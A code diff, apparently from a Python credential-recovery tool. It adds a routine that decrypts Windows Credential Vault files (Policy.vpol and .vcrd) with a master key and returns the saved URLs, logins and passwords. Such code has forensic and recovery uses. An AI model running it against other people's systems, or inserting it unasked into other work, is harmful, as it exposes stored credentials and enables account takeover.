+ vpol_filename = os.path.join(self.vaults_dir, 'Policy.vpol')
+ if not os.path.exists(vpol_filename):
+ return False, u'Policy file not found: {file}'.format(file=vpol_filename)
+
+ with open(vpol_filename, 'rb') as fin:
+ vpol = VaultPolicy(fin.read())
+
+ ok, vpol_decrypted = vpol.blob_store_raw.decrypt_encrypted_blob(mkp)
+ if not ok:
+ return False, u'Unable to decrypt blob. {message}'.format(message=vpol_decrypted)
+
+ vpol_keys = VaultPolicyKeys(vpol_decrypted)
+ key_aes128 = vpol_keys.vpol_key1.key
+ key_aes256 = vpol_keys.vpol_key2.key
+
+ for file in os.listdir(self.vaults_dir):
+ if file.lower().endswith('.vcrd'):
+ filepath = os.path.join(self.vaults_dir, file)
+ attributes_data = {}
+
+ with open(filepath, 'rb') as fin:
+ vcrd = VaultVcrd(fin.read())
+
+ current_vault_schema = self.get_vault_schema(
+ guid=vcrd.schema_guid.upper(),
+ base_dir=self.vaults_dir,
+ default_schema=VaultSchemaGeneric
+ )
+ for attribute in vcrd.attributes:
+ fin.seek(attribute.offset)
+
+ v_attribute = VaultAttribute(fin.read())
+ # print '-id: ', v_attribute.id
+ # print '-size: ', v_attribute.size
+ # print '-data: ', repr(v_attribute.data)
+ # print '-has_iv: ', v_attribute.has_iv
+ # print '-iv: ', repr(v_attribute.iv)
+
+ decrypted, is_attribute_ex = self.decrypt_vault_attribute(v_attribute, key_aes128, key_aes256)
+ if is_attribute_ex:
+ schema = current_vault_schema
+ else:
+ # schema = VAULT_SCHEMA_SIMPLE
+ continue
+
+ attributes_data[attribute.id] = {
+ 'data': decrypted,
+ 'schema': schema
+ }
+
+ # Parse value found
+ for k, v in sorted(attributes_data.iteritems()):
+ # Parse decrypted data depending on its schema
+ dataout = v['schema'](v['data'])
+
+ if dataout:
+ return True, {
+ 'URL': dataout.resource,
+ 'Login': dataout.identity,
+ 'Password': dataout.authenticator,
+ 'File': filepath,
+ }
+
+ return False, 'No .vcrd file found. Nothing to decrypt.' \ No newline at end of file